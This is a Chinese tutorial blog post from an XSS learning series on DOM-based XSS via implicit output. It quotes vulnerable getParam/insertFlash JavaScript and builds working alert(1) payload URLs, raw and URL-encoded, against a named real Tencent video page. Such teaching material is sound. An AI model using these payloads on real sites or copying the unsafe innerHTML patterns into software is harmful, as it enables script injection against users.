前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >那些年我们一起学XSS - 9. Dom Xss入门 [隐式输出]

那些年我们一起学XSS - 9. Dom Xss入门 [隐式输出]

作者头像
渗透攻击红队
发布2019-11-20 11:19:09
4750
发布2019-11-20 11:19:09
举报
文章被收录于专栏:漏洞知识库漏洞知识库
全/渗透测试/代码审计/

关注

Dom Xss入门 [隐式输出]

代码语言:javascript
复制
周末腾讯不上班,我也不工作。
周一啦,继续。
上一篇开始说Dom Xss了,我们说的是显式输出的情况,即我们可以在右键查看源代码的时候,看到我们所输出的内容。而有一些时候,输出操作我们是看不见的。它们通常发生在javascript代码中。譬如:var x=location.href; 这句Javascript实际上进行了一个隐藏的输出操作,即将location.href的内容输出到了x变量中。一起来看看相关的例子吧~

前注:1-4 是普通原理,没看明白的话,可以从5开始,结合实际例子看。 1. 本来是有另外一个例子的,不过不知道是腾讯已经给修复了,还是之前测试的时候人品好,偶尔碰上了,总之现在用不上了。

2. 这样一来,我们就只好用一个稍微复杂一点点的例子了。

3. 在说实际例子前,我们来说一个前端开发人员非常习惯使用的一段代码。下面大致写下伪代码。

代码语言:javascript
复制
function getParam(参数名){
	//获取地址栏参数,通常是 a=1&b=2&c=3;
	var x=location.search;//或者是location.hash

	//此时x="?a=1&b=2&c=3";
	//根据[参数名]取出参数名对应的值
	//例如 参数名=a, 则y=1
	//例如 参数名=b,  则y=2
	//至于这里怎么实现这个功能,可以用循环,可以用indexOf,可以用正则

	var y= 参数名对应的参数值;

	//返回y
	return y;
}

它的作用呢?就是从地址栏的参数里取出内容。譬如:

代码语言:javascript
复制
http://www.some.com/2.html?name=shouzi&age=20

我们在2.html,要显示 name 对应的值。对应的代码则非常可能下面这样写:

代码语言:javascript
复制
<div id="nick">加载中...</div>
<script>
var a=getParam("name");  //获取地址栏里的name参数,即shouzi
document.getElementById("nick").innerHTML=a;
</script>

4. 上面是普通开发人员为了实现功能而写的代码,如果没有安全考虑,就会存在问题。 如果上面的地址变为了:

代码语言:javascript
复制
http://www.some.com/2.html?name=<img src=1 onerror=alert(1)>&age=20

那么变量a将会等于 <img src=1 onerror=alert(1)> document.getElementById("nick").innerHTML=a; 即变成了 document.getElementById("nick").innerHTML="<imgsrc=1 onerror=alert(1)>"; 这样就变成了 教程 8 中的情景,从而触发XSS。 5. 接着我们看一个实际的例子。

代码语言:javascript
复制
http://qt.qq.com/video/play_video.htm?sid=aaaaaa

和原来的不同,我们在源代码里搜索不到东西的哦~

那可能这里有人会有一个疑问了。那我们怎么知道有没有漏洞呢?别担心,方法是有的。 这里以chrome为例,按F12,打开调试工具,见下图

和查看源代码没有什么不同,只是这次是在调试工具里看而已。 6. 通过上面的方式,确定【可能】有漏洞之后。我们可以有2个方式来进行下一步。 6.1 直接根据调试工具里看到的HTML代码情况,来构造利用代码。优点:省时间,缺点:如果对方有一定过滤,就很难构造 6.2 定位到与这个缺陷参数sid相关的JS代码,再来构造利用代码。优点:能利用一些复杂的情况, 缺点:耗时间。 7. 对于新手来说,先看6.1的情况。看到步骤5里面的那个图。我们可以构造以下代码。

代码语言:javascript
复制
<object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">
	<param name="movie" value="aaaaaa"></object><img src="1" onerror="alert(1)">
	...其它的省略了...
</object>

对应的图片解析:

进而“试探性”的测试一下利用代码,因为我们不知道对方会不会过滤掉 “双引号”,“括号”之类的,只能试试了。。

代码语言:javascript
复制
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src="1" onerror="alert(1)

没反应,我们继续看看调试工具,发现,双引号,变成了 \\" 。

根据这个情况,我们可以进一步修改代码。<img>标签里不使用双引号。

代码语言:javascript
复制
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>

这次OK啦。

可以看到,这种方式,写利用代码很快。 8. 再来看看 6.2 的方法。既然我们知道了,sid这个参数会被使用。那么我们的目标是,javascript的代码里哪里使用了sid这个参数呢?

9. 我们首先,F12打开调试工具,点【Resources】,再点Frames, 然后 Ctrl+ F搜索 "sid" 或者 'sid'

我们运气很好,一下就定位到了一个sid。 10. 可以看到是 getUrlPara("sid"),从单词,我们不难猜出,getUrlPara就是前面我们提到的 “获取地址栏参数“的函数。 为了进一步确定,我们可以很方便的在console里查看getUrlParam函数是啥样的。

可以看到,实际上getUrlParam是对<, > 做了过滤, 但是由于chrome浏览器自身的XSS防御机制,导致location.href获取的location.href是已经经过编码的。从而导致未过滤。 如下图:

11. 按道理,location.href里的<, > ," 已经变成了 %3c, %3e,%22已经被过滤了,不会有XSS了,为什么还可以呢?我们进一步往后看。

看来,关键就是这里,这里有一步decodeURIComponent的操作,会将 %3c, %3e,又变回 <, > 供参考的完整的缺陷代码。

代码语言:javascript
复制
var sid=getUrlPara("sid");
if(!sid || sid==""){
	document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉,视频不存在!</div>';
}else{
	var flash_ver=GetSwfVer();
	if(flash_ver == -1){
		document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您还没有安装flash插件<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';
	}else if(flash_ver.split('.')[0]<10){
		document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您的flash版本过低<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';
	}else{
		sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
		if(!is_valid_sid(sid)){
			document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">无法打开视频文件,视频地址不合法!</div>';
		}else{
			insertFlash("dv_video","f",sid,"100%","100%");
		}
	}
}

12. 接着,会调用 insertFlash("dv_video","f",sid,"100%","100%"); insertFlash里,也并没有对sid进行任何过滤。

代码语言:javascript
复制
function insertFlash(elm, eleid, url, w, h) {
    if (!document.getElementById(elm)) return;
    var str = '';
    str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
    str += '<param name="movie" value="' + url + '" />';
    str += '<param name="allowScriptAccess" value="never" />';
    str += '<param name="allowFullscreen" value="true" />';
    str += '<param name="wmode" value="transparent" />';
    str += '<param name="quality" value="autohigh" />';
    str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
    str += '</object>';
    document.getElementById(elm).innerHTML = str
}

图片解析:

13. 根据以上分析,我们的利用代码可以写为。注意,%3E,%3C的编码是关键。

代码语言:javascript
复制
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E

非常值得说明的是: 如果采用6.1的方法,我们得到的利用代码是

代码语言:javascript
复制
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>

!! 这个代码在IE下,是没法XSS的。 而通过6.2的方法,去分析JS代码,我们则可以构造出通用的XSS代码。

代码语言:javascript
复制
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E

这也反应了 6.1 和 6.2 方法各自的优缺点。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档